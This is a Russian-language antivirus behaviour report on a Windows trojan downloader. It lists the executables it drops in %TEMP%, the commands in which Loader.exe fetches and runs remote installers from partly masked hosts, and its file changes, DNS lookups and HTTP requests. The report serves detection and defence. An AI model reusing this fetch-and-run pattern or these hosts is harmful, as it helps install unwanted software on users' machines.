Техническая информация
Вредоносные функции:
Создает и запускает на исполнение:
- '%TEMP%\bdBaofeng5[[1666_104626]].exe'
- '%TEMP%\Loader.exe' http://ir###.f3322.org/soft/Run2345.exe
- '%TEMP%\setup_2949-14229.exe'
- '%TEMP%\KAVSETUPS_66_22041.exe'
- '%TEMP%\coolplayer_SS_PC31104626.exe'
- '%TEMP%\Loader.exe' http://ji#####wnload.2345.cn/jifen_2345/2345pack3_kuujswsa_120180898.exe
- '%TEMP%\Loader.exe' http://do##.yinyue.fm/open/setup_2949-14229.exe
- '%TEMP%\Loader.exe' http://u.##.#aofeng.com/upload/bdBaofeng5[[1666_104626]].exe
- '%TEMP%\Loader.exe' http://s1.##min6.com/nkubo/coolplayer_SS_PC31104626.exe
- '%TEMP%\Loader.exe' http://d.#####.ijinshan.com/duba/link/KAVSETUPS_66_22041.exe
- '%TEMP%\Loader.exe' http://do##.#.gsie.cn:8089/corp/download/bluesoft_gho_bsufxj_all.exe
- '%TEMP%\KAVSETUPS_66_22041.exe' (загружен из сети Интернет)
- '%TEMP%\coolplayer_SS_PC31104626.exe' (загружен из сети Интернет)
- '%TEMP%\bdBaofeng5[[1666_104626]].exe' (загружен из сети Интернет)
- '%TEMP%\setup_2949-14229.exe' (загружен из сети Интернет)
Запускает на исполнение:
- '%PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE' http://www.23##.com/?ku####
Изменения в файловой системе:
Создает следующие файлы:
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\coolplayer_SS_PC31104626[1].exe
- %TEMP%\setup_2949-14229.exe
- %TEMP%\coolplayer_SS_PC31104626.exe
- %TEMP%\KAVSETUPS_66_22041.exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\KAVSETUPS_66_22041[1].exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\setup_2949-14229[1].exe
- %TEMP%\$inst\temp_0.tmp
- %TEMP%\$inst\2.tmp
- %TEMP%\Loader.exe
- %TEMP%\bdBaofeng5[[1666_104626]].exe
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\bdBaofeng5[[1666_104626]][1].exe
Удаляет следующие файлы:
- %TEMP%\$inst\2.tmp
- %TEMP%\$inst\temp_0.tmp
Сетевая активность:
Подключается к:
- 'u.##.#aofeng.com':80
- 'localhost':1044
- 'localhost':1043
- 'd.#####.ijinshan.com':80
- 's1.##min6.com':80
- 'do##.yinyue.fm':80
- 'localhost':1039
- 'localhost':1038
- 'localhost':1037
- 'localhost':1042
- 'localhost':1041
- 'localhost':1040
TCP:
Запросы HTTP GET:
- s1.##min6.com/nkubo/coolplayer_SS_PC31104626.exe
- d.#####.ijinshan.com/duba/link/KAVSETUPS_66_22041.exe
- u.##.#aofeng.com/upload/bdBaofeng5[[1666_104626]].exe
- do##.yinyue.fm/open/setup_2949-14229.exe
UDP:
- DNS ASK ji#####wnload.2345.cn
- DNS ASK ir###.f3322.org
- DNS ASK www.23##.com
- DNS ASK do##.u.gsie.cn
- DNS ASK do##.yinyue.fm
- DNS ASK u.##.#aofeng.com
- DNS ASK d.#####.ijinshan.com
- DNS ASK s1.##min6.com
Другое:
Ищет следующие окна:
- ClassName: 'MS_AutodialMonitor' WindowName: '(null)'
- ClassName: 'MS_WebcheckMonitor' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: '' WindowName: '(null)'
